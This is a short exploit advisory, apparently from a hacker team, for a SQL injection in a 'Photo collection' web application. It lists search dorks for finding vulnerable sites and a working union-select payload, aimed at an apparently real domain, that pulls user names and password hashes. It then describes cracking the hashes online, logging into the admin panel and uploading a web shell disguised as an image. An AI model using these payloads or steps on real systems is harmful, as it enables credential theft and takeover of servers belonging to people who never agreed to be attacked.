-------------------- IN The NAme OF God --------------------
-====Photo collection Remote Sql Injection Vulnerability====-
# Exploit Title: Photo collection Remote Sql Injection Vulnerability
# Exploit Author: Mr.XpR
# Tested on: BackTrack , 7 , Redhat
# Version : 1.5
# MAil : No0pm@yahoo.com
-====Dork====-
inurl:index.php?Blog=*&user_id=
intext: Copyright (c) 2010-2012 by photo collection. All rights reserved!
-====Exploit====-
http://Site.C0M/index.php?Blog=11&user_id=[Sqli]
-====Example====-
http://www.dakghor.com/index.php?Blog=11&user_id=-9999+union+select+group_concat%28user_name,0x3a,user_password%29+from+be_users--
-====information====-
Crack Joomla Hash IN ~~~ > http://www.md5decrypter.co.uk/
Admin Page ~~~~~~~~~> Front PAge With Email And PAssword
Login To panel :D
Click <<--- Add Profile Picture or Add Picture -----Upload She3ll~~~> Sh3ll.jpg 0r Sh3ll.php.Jpg
And Load From http://www.xxxxx.com/images/users/Sh3ll.jpg
-====Tnx To====-
Persian Gulf For Ever ~~~~ > W3 Are Persian Hackerz
MR.XpR - MMT - Samim.s - FarbodEZRaeL - Inj3Ctor - Black.Viper - UnknowN
Yaghi.Vahshi - HELLBOY - IrIsT - Black King - Monfared - Sokote_Vahshat ...
And All IraNHAck Security Team Members
~~~~~~~~~~~~~~~~~~~~~~>> IRANHaCK.ORG
